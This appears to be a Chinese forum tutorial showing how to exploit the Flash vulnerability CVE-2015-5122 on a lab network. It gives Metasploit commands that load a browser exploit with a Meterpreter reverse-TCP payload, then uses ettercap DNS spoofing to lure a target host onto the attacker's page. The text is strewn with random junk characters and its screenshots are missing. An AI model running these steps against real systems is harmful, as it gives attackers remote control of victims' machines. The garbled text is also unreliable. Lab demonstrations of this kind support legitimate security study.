cve2015-5122漏洞实例演示虚拟机

admin

- K; S3 p) q D0 K( g 二、cve2015-5122漏洞实例演示虚拟机

5 x: r& q$ a1 w" W   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： ( m# I& E5 v% S$ r! `

" {0 U$ K9 g3 D- s8 Y! [4 D

search cve-2015-5122如图： 2 E2 x0 f% n+ e" O" Y

 

3 {! ~ Z2 }8 l. T) F; F- N 下面我们敲如下命令： 9 X' C" C0 a1 r4 i3 f5 c7 G- r1 A

! i# T4 X- w( L

0 g8 F0 k# ~7 S" ? use exploit/multi/browser/adobe_flash_opaque_background_uaf ' F" u3 W- p( R W8 v% p; b4 E

% i1 g% j: C% s

set PAYLOAD windows/meterpreter/reverse_tcp

4 { f6 \6 E9 W6 f2 e5 p7 m1 }

, C G8 l. S; z. d3 M+ t% z set LHOST 192.168.0.109 , g( V2 _+ H3 h# Z+ o. |

3 i, K j3 T' F set URIPATH /                        /*根目录*/

, Y; @1 V8 @! X( u

, J% x2 Q% ^* v- H# b, r set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

+ B7 O3 |3 D$ k set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 ; c9 M3 |$ P, l+ k% m0 W

2 g, ]5 Y( K+ _1 p/ p7 f. b

然后show options如图：

! ]+ S8 A- l0 v/ A& q d8 \8 u, ?   ! d- h& ]. |) U% t; B& B2 @

# P( ^, N" l2 F/ d1 a$ ]

2 l( g2 m; y# _' j, `; F 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
# z0 l" r* F5 j( w. d/ W, P

0 L7 F: U5 r* {2 I: _. ~' D! u

9 C3 R: K( H5 P, a 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 % Y& }' @) f: R& y- j' J; V

1 w! H7 \# t4 h8 T

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf " l) p/ A# z% g: g' s

 

成功了，这时候我们断开ettercap，如图： ) |1 g& q, `3 P4 b$ Y7 p

" x6 A* p+ c' a6 _) v0 o* {# l. Q

  ; G7 `! o: l1 t5 R- g4 _

# }' v# _4 u3 q& Z5 T

Screenshot如图：

6 }$ W+ D4 }. E# F2 X  

. A% `2 k, c6 A2 ~5 m